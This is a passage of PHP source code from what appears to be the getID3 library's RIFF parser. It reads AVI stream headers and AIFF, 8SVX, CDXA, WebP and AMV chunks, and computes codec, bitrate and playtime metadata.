											// shortcut
											$thisfile_riff_raw['strh'][$i]                  = array();
											$thisfile_riff_raw_strh_current                 = &$thisfile_riff_raw['strh'][$i];

											$thisfile_riff_raw_strh_current['fccType']               =                         substr($strhData,  0, 4);  // same as $strhfccType;
											$thisfile_riff_raw_strh_current['fccHandler']            =                         substr($strhData,  4, 4);
											$thisfile_riff_raw_strh_current['dwFlags']               = $this->EitherEndian2Int(substr($strhData,  8, 4)); // Contains AVITF_* flags
											$thisfile_riff_raw_strh_current['wPriority']             = $this->EitherEndian2Int(substr($strhData, 12, 2));
											$thisfile_riff_raw_strh_current['wLanguage']             = $this->EitherEndian2Int(substr($strhData, 14, 2));
											$thisfile_riff_raw_strh_current['dwInitialFrames']       = $this->EitherEndian2Int(substr($strhData, 16, 4));
											$thisfile_riff_raw_strh_current['dwScale']               = $this->EitherEndian2Int(substr($strhData, 20, 4));
											$thisfile_riff_raw_strh_current['dwRate']                = $this->EitherEndian2Int(substr($strhData, 24, 4));
											$thisfile_riff_raw_strh_current['dwStart']               = $this->EitherEndian2Int(substr($strhData, 28, 4));
											$thisfile_riff_raw_strh_current['dwLength']              = $this->EitherEndian2Int(substr($strhData, 32, 4));
											$thisfile_riff_raw_strh_current['dwSuggestedBufferSize'] = $this->EitherEndian2Int(substr($strhData, 36, 4));
											$thisfile_riff_raw_strh_current['dwQuality']             = $this->EitherEndian2Int(substr($strhData, 40, 4));
											$thisfile_riff_raw_strh_current['dwSampleSize']          = $this->EitherEndian2Int(substr($strhData, 44, 4));
											$thisfile_riff_raw_strh_current['rcFrame']               = $this->EitherEndian2Int(substr($strhData, 48, 4));

											$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strh_current['fccHandler']);
											$thisfile_video['fourcc']             = $thisfile_riff_raw_strh_current['fccHandler'];
											if (!$thisfile_riff_video_current['codec'] && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) && self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {
												$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']);
												$thisfile_video['fourcc']             = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
											}
											$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
											$thisfile_video['pixel_aspect_ratio'] = (float) 1;
											switch ($thisfile_riff_raw_strh_current['fccHandler']) {
												case 'HFYU': // Huffman Lossless Codec
												case 'IRAW': // Intel YUV Uncompressed
												case 'YUY2': // Uncompressed YUV 4:2:2
													$thisfile_video['lossless'] = true;
													break;

												default:
													$thisfile_video['lossless'] = false;
													break;
											}

											switch ($strhfccType) {
												case 'vids':
													$thisfile_riff_raw_strf_strhfccType_streamindex = self::ParseBITMAPINFOHEADER(substr($strfData, 0, 40), ($this->container == 'riff'));
													$thisfile_video['bits_per_sample'] = $thisfile_riff_raw_strf_strhfccType_streamindex['biBitCount'];

													if ($thisfile_riff_video_current['codec'] == 'DV') {
														$thisfile_riff_video_current['dv_type'] = 2;
													}
													break;

												case 'iavs':
													$thisfile_riff_video_current['dv_type'] = 1;
													break;
											}
											break;

										default:
											$this->warning('Unhandled fccType for stream ('.$i.'): "'.$strhfccType.'"');
											break;

									}
								}
							}

							if (isset($thisfile_riff_raw_strf_strhfccType_streamindex) && isset($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'])) {

								$thisfile_video['fourcc'] = $thisfile_riff_raw_strf_strhfccType_streamindex['fourcc'];
								if (self::fourccLookup($thisfile_video['fourcc'])) {
									$thisfile_riff_video_current['codec'] = self::fourccLookup($thisfile_video['fourcc']);
									$thisfile_video['codec']              = $thisfile_riff_video_current['codec'];
								}

								switch ($thisfile_riff_raw_strf_strhfccType_streamindex['fourcc']) {
									case 'HFYU': // Huffman Lossless Codec
									case 'IRAW': // Intel YUV Uncompressed
									case 'YUY2': // Uncompressed YUV 4:2:2
										$thisfile_video['lossless']        = true;
										//$thisfile_video['bits_per_sample'] = 24;
										break;

									default:
										$thisfile_video['lossless']        = false;
										//$thisfile_video['bits_per_sample'] = 24;
										break;
								}

							}
						}
					}
				}
				break;


			case 'AMV ':
				$info['fileformat'] = 'amv';
				$info['mime_type']  = 'video/amv';

				$thisfile_video['bitrate_mode']    = 'vbr'; // it's MJPEG, presumably contant-quality encoding, thereby VBR
				$thisfile_video['dataformat']      = 'mjpeg';
				$thisfile_video['codec']           = 'mjpeg';
				$thisfile_video['lossless']        = false;
				$thisfile_video['bits_per_sample'] = 24;

				$thisfile_audio['dataformat']   = 'adpcm';
				$thisfile_audio['lossless']     = false;
				break;


			// http://en.wikipedia.org/wiki/CD-DA
			case 'CDDA':
				$info['fileformat'] = 'cda';
				unset($info['mime_type']);

				$thisfile_audio_dataformat      = 'cda';

				$info['avdataoffset'] = 44;

				if (isset($thisfile_riff['CDDA']['fmt '][0]['data'])) {
					// shortcut
					$thisfile_riff_CDDA_fmt_0 = &$thisfile_riff['CDDA']['fmt '][0];

					$thisfile_riff_CDDA_fmt_0['unknown1']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  0, 2));
					$thisfile_riff_CDDA_fmt_0['track_num']          = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  2, 2));
					$thisfile_riff_CDDA_fmt_0['disc_id']            = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  4, 4));
					$thisfile_riff_CDDA_fmt_0['start_offset_frame'] = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'],  8, 4));
					$thisfile_riff_CDDA_fmt_0['playtime_frames']    = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 12, 4));
					$thisfile_riff_CDDA_fmt_0['unknown6']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 16, 4));
					$thisfile_riff_CDDA_fmt_0['unknown7']           = $this->EitherEndian2Int(substr($thisfile_riff_CDDA_fmt_0['data'], 20, 4));

					$thisfile_riff_CDDA_fmt_0['start_offset_seconds'] = (float) $thisfile_riff_CDDA_fmt_0['start_offset_frame'] / 75;
					$thisfile_riff_CDDA_fmt_0['playtime_seconds']     = (float) $thisfile_riff_CDDA_fmt_0['playtime_frames'] / 75;
					$info['comments']['track_number']         = $thisfile_riff_CDDA_fmt_0['track_num'];
					$info['playtime_seconds']                 = $thisfile_riff_CDDA_fmt_0['playtime_seconds'];

					// hardcoded data for CD-audio
					$thisfile_audio['lossless']        = true;
					$thisfile_audio['sample_rate']     = 44100;
					$thisfile_audio['channels']        = 2;
					$thisfile_audio['bits_per_sample'] = 16;
					$thisfile_audio['bitrate']         = $thisfile_audio['sample_rate'] * $thisfile_audio['channels'] * $thisfile_audio['bits_per_sample'];
					$thisfile_audio['bitrate_mode']    = 'cbr';
				}
				break;

			// http://en.wikipedia.org/wiki/AIFF
			case 'AIFF':
			case 'AIFC':
				$info['fileformat'] = 'aiff';
				$info['mime_type']  = 'audio/x-aiff';

				$thisfile_audio['bitrate_mode'] = 'cbr';
				$thisfile_audio_dataformat      = 'aiff';
				$thisfile_audio['lossless']     = true;

				if (isset($thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['SSND'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['SSND'][0]['size'];
					if ($info['avdataend'] > $info['filesize']) {
						if (($info['avdataend'] == ($info['filesize'] + 1)) && (($info['filesize'] % 2) == 1)) {
							// structures rounded to 2-byte boundary, but dumb encoders
							// forget to pad end of file to make this actually work
						} else {
							$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['SSND'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
						}
						$info['avdataend'] = $info['filesize'];
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['COMM'][0]['data'])) {

					// shortcut
					$thisfile_riff_RIFFsubtype_COMM_0_data = &$thisfile_riff[$RIFFsubtype]['COMM'][0]['data'];

					$thisfile_riff_audio['channels']         =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  0,  2), true);
					$thisfile_riff_audio['total_samples']    =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  2,  4), false);
					$thisfile_riff_audio['bits_per_sample']  =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  6,  2), true);
					$thisfile_riff_audio['sample_rate']      = (int) getid3_lib::BigEndian2Float(substr($thisfile_riff_RIFFsubtype_COMM_0_data,  8, 10));

					if ($thisfile_riff[$RIFFsubtype]['COMM'][0]['size'] > 18) {
						$thisfile_riff_audio['codec_fourcc'] =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 18,  4);
						$CodecNameSize                       =         getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_COMM_0_data, 22,  1), false);
						$thisfile_riff_audio['codec_name']   =                                   substr($thisfile_riff_RIFFsubtype_COMM_0_data, 23,  $CodecNameSize);
						switch ($thisfile_riff_audio['codec_name']) {
							case 'NONE':
								$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
								$thisfile_audio['lossless'] = true;
								break;

							case '':
								switch ($thisfile_riff_audio['codec_fourcc']) {
									// http://developer.apple.com/qa/snd/snd07.html
									case 'sowt':
										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Little-Endian PCM';
										$thisfile_audio['lossless'] = true;
										break;

									case 'twos':
										$thisfile_riff_audio['codec_name'] = 'Two\'s Compliment Big-Endian PCM';
										$thisfile_audio['lossless'] = true;
										break;

									default:
										break;
								}
								break;

							default:
								$thisfile_audio['codec']    = $thisfile_riff_audio['codec_name'];
								$thisfile_audio['lossless'] = false;
								break;
						}
					}

					$thisfile_audio['channels']        = $thisfile_riff_audio['channels'];
					if ($thisfile_riff_audio['bits_per_sample'] > 0) {
						$thisfile_audio['bits_per_sample'] = $thisfile_riff_audio['bits_per_sample'];
					}
					$thisfile_audio['sample_rate']     = $thisfile_riff_audio['sample_rate'];
					if ($thisfile_audio['sample_rate'] == 0) {
						$this->error('Corrupted AIFF file: sample_rate == zero');
						return false;
					}
					$info['playtime_seconds'] = $thisfile_riff_audio['total_samples'] / $thisfile_audio['sample_rate'];
				}

				if (isset($thisfile_riff[$RIFFsubtype]['COMT'])) {
					$offset = 0;
					$CommentCount                                   = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
					$offset += 2;
					for ($i = 0; $i < $CommentCount; $i++) {
						$info['comments_raw'][$i]['timestamp']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 4), false);
						$offset += 4;
						$info['comments_raw'][$i]['marker_id']      = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), true);
						$offset += 2;
						$CommentLength                              = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, 2), false);
						$offset += 2;
						$info['comments_raw'][$i]['comment']        =                           substr($thisfile_riff[$RIFFsubtype]['COMT'][0]['data'], $offset, $CommentLength);
						$offset += $CommentLength;

						$info['comments_raw'][$i]['timestamp_unix'] = getid3_lib::DateMac2Unix($info['comments_raw'][$i]['timestamp']);
						$thisfile_riff['comments']['comment'][] = $info['comments_raw'][$i]['comment'];
					}
				}

				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
				foreach ($CommentsChunkNames as $key => $value) {
					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
						// https://github.com/JamesHeinrich/getID3/issues/430
						$null_terminator_rows = explode("\x00", $thisfile_riff[$RIFFsubtype][$key][0]['data']);
						$thisfile_riff['comments'][$value][] = $null_terminator_rows[0];
					}
				}
/*
				if (isset($thisfile_riff[$RIFFsubtype]['ID3 '])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);
					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['ID3 '][0]['offset'] + 8;
					if ($thisfile_riff[$RIFFsubtype]['ID3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
						$info['id3v2'] = $getid3_temp->info['id3v2'];
					}
					unset($getid3_temp, $getid3_id3v2);
				}
*/
				break;

			// http://en.wikipedia.org/wiki/8SVX
			case '8SVX':
				$info['fileformat'] = '8svx';
				$info['mime_type']  = 'audio/8svx';

				$thisfile_audio['bitrate_mode']    = 'cbr';
				$thisfile_audio_dataformat         = '8svx';
				$thisfile_audio['bits_per_sample'] = 8;
				$thisfile_audio['channels']        = 1; // overridden below, if need be
				$ActualBitsPerSample               = 0;

				if (isset($thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'])) {
					$info['avdataoffset'] = $thisfile_riff[$RIFFsubtype]['BODY'][0]['offset'] + 8;
					$info['avdataend']    = $info['avdataoffset'] + $thisfile_riff[$RIFFsubtype]['BODY'][0]['size'];
					if ($info['avdataend'] > $info['filesize']) {
						$this->warning('Probable truncated AIFF file: expecting '.$thisfile_riff[$RIFFsubtype]['BODY'][0]['size'].' bytes of audio data, only '.($info['filesize'] - $info['avdataoffset']).' bytes found');
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['VHDR'][0]['offset'])) {
					// shortcut
					$thisfile_riff_RIFFsubtype_VHDR_0 = &$thisfile_riff[$RIFFsubtype]['VHDR'][0];

					$thisfile_riff_RIFFsubtype_VHDR_0['oneShotHiSamples']  =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  0, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['repeatHiSamples']   =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  4, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerHiCycle'] =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'],  8, 4));
					$thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec']     =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 12, 2));
					$thisfile_riff_RIFFsubtype_VHDR_0['ctOctave']          =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 14, 1));
					$thisfile_riff_RIFFsubtype_VHDR_0['sCompression']      =   getid3_lib::BigEndian2Int(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 15, 1));
					$thisfile_riff_RIFFsubtype_VHDR_0['Volume']            = getid3_lib::FixedPoint16_16(substr($thisfile_riff_RIFFsubtype_VHDR_0['data'], 16, 4));

					$thisfile_audio['sample_rate'] = $thisfile_riff_RIFFsubtype_VHDR_0['samplesPerSec'];

					switch ($thisfile_riff_RIFFsubtype_VHDR_0['sCompression']) {
						case 0:
							$thisfile_audio['codec']    = 'Pulse Code Modulation (PCM)';
							$thisfile_audio['lossless'] = true;
							$ActualBitsPerSample        = 8;
							break;

						case 1:
							$thisfile_audio['codec']    = 'Fibonacci-delta encoding';
							$thisfile_audio['lossless'] = false;
							$ActualBitsPerSample        = 4;
							break;

						default:
							$this->warning('Unexpected sCompression value in 8SVX.VHDR chunk - expecting 0 or 1, found "'.$thisfile_riff_RIFFsubtype_VHDR_0['sCompression'].'"');
							break;
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'])) {
					$ChannelsIndex = getid3_lib::BigEndian2Int(substr($thisfile_riff[$RIFFsubtype]['CHAN'][0]['data'], 0, 4));
					switch ($ChannelsIndex) {
						case 6: // Stereo
							$thisfile_audio['channels'] = 2;
							break;

						case 2: // Left channel only
						case 4: // Right channel only
							$thisfile_audio['channels'] = 1;
							break;

						default:
							$this->warning('Unexpected value in 8SVX.CHAN chunk - expecting 2 or 4 or 6, found "'.$ChannelsIndex.'"');
							break;
					}

				}

				$CommentsChunkNames = array('NAME'=>'title', 'author'=>'artist', '(c) '=>'copyright', 'ANNO'=>'comment');
				foreach ($CommentsChunkNames as $key => $value) {
					if (isset($thisfile_riff[$RIFFsubtype][$key][0]['data'])) {
						// https://github.com/JamesHeinrich/getID3/issues/430
						$null_terminator_rows = explode("\x00", $thisfile_riff[$RIFFsubtype][$key][0]['data']);
						$thisfile_riff['comments'][$value][] = $null_terminator_rows[0];
					}
				}

				$thisfile_audio['bitrate'] = $thisfile_audio['sample_rate'] * $ActualBitsPerSample * $thisfile_audio['channels'];
				if (!empty($thisfile_audio['bitrate'])) {
					$info['playtime_seconds'] = ($info['avdataend'] - $info['avdataoffset']) / ($thisfile_audio['bitrate'] / 8);
				}
				break;

			case 'CDXA':
				$info['fileformat'] = 'vcd'; // Asume Video CD
				$info['mime_type']  = 'video/mpeg';

				if (!empty($thisfile_riff['CDXA']['data'][0]['size'])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.audio-video.mpeg.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_mpeg = new getid3_mpeg($getid3_temp);
					$getid3_mpeg->Analyze();
					if (empty($getid3_temp->info['error'])) {
						$info['audio']   = $getid3_temp->info['audio'];
						$info['video']   = $getid3_temp->info['video'];
						$info['mpeg']    = $getid3_temp->info['mpeg'];
						$info['warning'] = $getid3_temp->info['warning'];
					}
					unset($getid3_temp, $getid3_mpeg);
				}
				break;

			case 'WEBP':
				// https://developers.google.com/speed/webp/docs/riff_container
				// https://tools.ietf.org/html/rfc6386
				// https://chromium.googlesource.com/webm/libwebp/+/master/doc/webp-lossless-bitstream-spec.txt
				$info['fileformat'] = 'webp';
				$info['mime_type']  = 'image/webp';

				if (!empty($thisfile_riff['WEBP']['VP8 '][0]['size'])) {
					$old_offset = $this->ftell();
					$this->fseek($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8); // 4 bytes "VP8 " + 4 bytes chunk size
					$WEBP_VP8_header = $this->fread(10);
					$this->fseek($old_offset);
					if (substr($WEBP_VP8_header, 3, 3) == "\x9D\x01\x2A") {
						$thisfile_riff['WEBP']['VP8 '][0]['keyframe']   = !(getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x800000);
						$thisfile_riff['WEBP']['VP8 '][0]['version']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x700000) >> 20;
						$thisfile_riff['WEBP']['VP8 '][0]['show_frame'] =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x080000);
						$thisfile_riff['WEBP']['VP8 '][0]['data_bytes'] =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 0, 3)) & 0x07FFFF) >>  0;

						$thisfile_riff['WEBP']['VP8 '][0]['scale_x']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0xC000) >> 14;
						$thisfile_riff['WEBP']['VP8 '][0]['width']      =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 6, 2)) & 0x3FFF);
						$thisfile_riff['WEBP']['VP8 '][0]['scale_y']    =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0xC000) >> 14;
						$thisfile_riff['WEBP']['VP8 '][0]['height']     =  (getid3_lib::LittleEndian2Int(substr($WEBP_VP8_header, 8, 2)) & 0x3FFF);

						$info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8 '][0]['width'];
						$info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8 '][0]['height'];
					} else {
						$this->error('Expecting 9D 01 2A at offset '.($thisfile_riff['WEBP']['VP8 '][0]['offset'] + 8 + 3).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8_header, 3, 3)).'"');
					}

				}
				if (!empty($thisfile_riff['WEBP']['VP8L'][0]['size'])) {
					$old_offset = $this->ftell();
					$this->fseek($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8); // 4 bytes "VP8L" + 4 bytes chunk size
					$WEBP_VP8L_header = $this->fread(10);
					$this->fseek($old_offset);
					if (substr($WEBP_VP8L_header, 0, 1) == "\x2F") {
						$width_height_flags = getid3_lib::LittleEndian2Bin(substr($WEBP_VP8L_header, 1, 4));
						$thisfile_riff['WEBP']['VP8L'][0]['width']         =        bindec(substr($width_height_flags, 18, 14)) + 1;
						$thisfile_riff['WEBP']['VP8L'][0]['height']        =        bindec(substr($width_height_flags,  4, 14)) + 1;
						$thisfile_riff['WEBP']['VP8L'][0]['alpha_is_used'] = (bool) bindec(substr($width_height_flags,  3,  1));
						$thisfile_riff['WEBP']['VP8L'][0]['version']       =        bindec(substr($width_height_flags,  0,  3));

						$info['video']['resolution_x'] = $thisfile_riff['WEBP']['VP8L'][0]['width'];
						$info['video']['resolution_y'] = $thisfile_riff['WEBP']['VP8L'][0]['height'];
					} else {
						$this->error('Expecting 2F at offset '.($thisfile_riff['WEBP']['VP8L'][0]['offset'] + 8).', found "'.getid3_lib::PrintHexBytes(substr($WEBP_VP8L_header, 0, 1)).'"');
					}

				}
				break;

			default:
				$this->error('Unknown RIFF type: expecting one of (WAVE|RMP3|AVI |CDDA|AIFF|AIFC|8SVX|CDXA|WEBP), found "'.$RIFFsubtype.'" instead');
				//unset($info['fileformat']);
		}

		switch ($RIFFsubtype) {
			case 'WAVE':
			case 'AIFF':
			case 'AIFC':
				$ID3v2_key_good = 'id3 ';
				$ID3v2_keys_bad = array('ID3 ', 'tag ');
				foreach ($ID3v2_keys_bad as $ID3v2_key_bad) {
					if (isset($thisfile_riff[$RIFFsubtype][$ID3v2_key_bad]) && !array_key_exists($ID3v2_key_good, $thisfile_riff[$RIFFsubtype])) {
						$thisfile_riff[$RIFFsubtype][$ID3v2_key_good] = $thisfile_riff[$RIFFsubtype][$ID3v2_key_bad];
						$this->warning('mapping "'.$ID3v2_key_bad.'" chunk to "'.$ID3v2_key_good.'"');
					}
				}

				if (isset($thisfile_riff[$RIFFsubtype]['id3 '])) {
					getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'module.tag.id3v2.php', __FILE__, true);

					$getid3_temp = new getID3();
					$getid3_temp->openfile($this->getid3->filename, $this->getid3->info['filesize'], $this->getid3->fp);
					$getid3_id3v2 = new getid3_id3v2($getid3_temp);
					$getid3_id3v2->StartingOffset = $thisfile_riff[$RIFFsubtype]['id3 '][0]['offset'] + 8;
					if ($thisfile_riff[$RIFFsubtype]['id3 '][0]['valid'] = $getid3_id3v2->Analyze()) {
						$info['id3v2'] = $getid3_temp->info['id3v2'];
					}
					unset($getid3_temp, $getid3_id3v2);
				}
				break;
		}

		if (isset($thisfile_riff_WAVE['DISP']) && is_array($thisfile_riff_WAVE['DISP'])) {
			$thisfile_riff['comments']['title'][] = trim(substr($thisfile_riff_WAVE['DISP'][count($thisfile_riff_WAVE['DISP']) - 1]['data'], 4));
		}
		if (isset($thisfile_riff_WAVE['INFO']) && is_array($thisfile_riff_WAVE['INFO'])) {
			self::parseComments($thisfile_riff_WAVE['INFO'], $thisfile_riff['comments']);
		}
		if (isset($thisfile_riff['AVI ']['INFO']) && is_array($thisfile_riff['AVI ']['INFO'])) {
			self::parseComments($thisfile_riff['AVI ']['INFO'], $thisfile_riff['comments']);
		}

		if (empty($thisfile_audio['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version'])) {
			$thisfile_audio['encoder'] = $info['mpeg']['audio']['LAME']['short_version'];
		}

		if (!isset($info['playtime_seconds'])) {
			$info['playtime_seconds'] = 0;
		}
		if (isset($thisfile_riff_raw['strh'][0]['dwLength']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // @phpstan-ignore-line
			// needed for >2GB AVIs where 'avih' chunk only lists number of frames in that chunk, not entire movie
			$info['playtime_seconds'] = $thisfile_riff_raw['strh'][0]['dwLength'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
		} elseif (isset($thisfile_riff_raw['avih']['dwTotalFrames']) && isset($thisfile_riff_raw['avih']['dwMicroSecPerFrame'])) { // @phpstan-ignore-line
			$info['playtime_seconds'] = $thisfile_riff_raw['avih']['dwTotalFrames'] * ($thisfile_riff_raw['avih']['dwMicroSecPerFrame'] / 1000000);
		}

		if ($info['playtime_seconds'] > 0) {
			if ($thisfile_riff_audio !== null && $thisfile_riff_video !== null) {

				if (!isset($info['bitrate'])) {
					$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			} elseif ($thisfile_riff_audio !== null && $thisfile_riff_video === null) { // @phpstan-ignore-line

				if (!isset($thisfile_audio['bitrate'])) {
					$thisfile_audio['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			} elseif ($thisfile_riff_audio === null && $thisfile_riff_video !== null) {

				if (!isset($thisfile_video['bitrate'])) {
					$thisfile_video['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
				}

			}
		}


		if (isset($thisfile_riff_video) && isset($thisfile_audio['bitrate']) && ($thisfile_audio['bitrate'] > 0) && ($info['playtime_seconds'] > 0)) {

			$info['bitrate'] = ((($info['avdataend'] - $info['avdataoffset']) / $info['playtime_seconds']) * 8);
			$thisfile_audio['bitrate'] = 0;
			$thisfile_video['bitrate'] = $info['bitrate'];
			foreach ($thisfile_riff_audio as $channelnumber => $audioinfoarray) {
				$thisfile_video['bitrate'] -= $audioinfoarray['bitrate'];
				$thisfile_audio['bitrate'] += $audioinfoarray['bitrate'];
			}
			if ($thisfile_video['bitrate'] <= 0) {
				unset($thisfile_video['bitrate']);
			}
			if ($thisfile_audio['bitrate'] <= 0) {
				unset($thisfile_audio['bitrate']);
			}
		}

		if (isset($info['mpeg']['audio'])) {
			$thisfile_audio_dataformat      = 'mp'.$info['mpeg']['audio']['layer'];
			$thisfile_audio['sample_rate']  = $info['mpeg']['audio']['sample_rate'];
			$thisfile_audio['channels']     = $info['mpeg']['audio']['channels'];
			$thisfile_audio['bitrate']      = $info['mpeg']['audio']['bitrate'];
			$thisfile_audio['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
			if (!empty($info['mpeg']['audio']['codec'])) {
				$thisfile_audio['codec'] = $info['mpeg']['audio']['codec'].' '.$thisfile_audio['codec'];
			}
			if (!empty($thisfile_audio['streams'])) {
				foreach ($thisfile_audio['streams'] as $streamnumber => $streamdata) {
					if ($streamdata['dataformat'] == $thisfile_audio_dataformat) {
						$thisfile_audio['streams'][$streamnumber]['sample_rate']  = $thisfile_audio['sample_rate'];
						$thisfile_audio['streams'][$streamnumber]['channels']     = $thisfile_audio['channels'];
						$thisfile_audio['streams'][$streamnumber]['bitrate']      = $thisfile_audio['bitrate'];
						$thisfile_audio['streams'][$streamnumber]['bitrate_mode'] = $thisfile_audio['bitrate_mode'];
						$thisfile_audio['streams'][$streamnumber]['codec']        = $thisfile_audio['codec'];
					}
				}
			}
			$getid3_mp3 = new getid3_mp3($this->getid3);
			$thisfile_audio['encoder_options'] = $getid3_mp3->GuessEncoderOptions();
			unset($getid3_mp3);
		}


		if (!empty($thisfile_riff_raw['fmt ']['wBitsPerSample']) && ($thisfile_riff_raw['fmt ']['wBitsPerSample'] > 0)) {
			switch ($thisfile_audio_dataformat) {
				case 'ac3':
					// ignore bits_per_sample
					break;

				default:
					$thisfile_audio['bits_per_sample'] = $thisfile_riff_raw['fmt ']['wBitsPerSample'];
					break;
			}
		}


		if (empty($thisfile_riff_raw)) {
			unset($thisfile_riff['raw']);
		}
		if (empty($thisfile_riff_audio)) {
			unset($thisfile_riff['audio']);
		}
		if (empty($thisfile_riff_video)) {
			unset($thisfile_riff['video']);
		}

		return true;
	}

	/**
	 * @param int $startoffset
	 * @param int $maxoffset
	 *
	 * @return array|false
	 *
	 * @throws Exception
	 * @throws getid3_exception
	 */
	public function ParseRIFFAMV($startoffset, $maxoffset) {
		// AMV files are RIFF-AVI files with parts of the spec deliberately broken, such as chunk size fields hardcoded to zero (because players known in hardware that these fields are always a certain size

		// https://code.google.com/p/amv-codec-tools/wiki/AmvDocumentation
		//typedef struct _amvmainheader {
		//FOURCC fcc; // 'amvh'
		//DWORD cb;
		//DWORD dwMicroSecPerFrame;
		//BYTE reserve[28];
		//DWORD dwWidth;
		//DWORD dwHeight;
		//DWORD dwSpeed;
		//DWORD reserve0;
		//DWORD reserve1;
		//BYTE bTimeSec;
		//BYTE bTimeMin;
		//WORD wTimeHour;
		//} AMVMAINHEADER;

		$info = &$this->getid3->info;
		$RIFFchunk = false;

		try {

			$this->fseek($startoffset);
			$maxoffset = min($maxoffset, $info['avdataend']);
			$AMVheader = $this->fread(284);
			if (substr($AMVheader,   0,  8) != 'hdrlamvh') {
				throw new Exception('expecting "hdrlamv" at offset '.($startoffset +   0).', found "'.substr($AMVheader,   0, 8).'"');
			}
			if (substr($AMVheader,   8,  4) != "\x38\x00\x00\x00") { // "amvh" chunk size, hardcoded to 0x38 = 56 bytes
				throw new Exception('expecting "0x38000000" at offset '.($startoffset +   8).', found "'.getid3_lib::PrintHexBytes(substr($AMVheader,   8, 4)).'"');
			}
			$RIFFchunk = array();
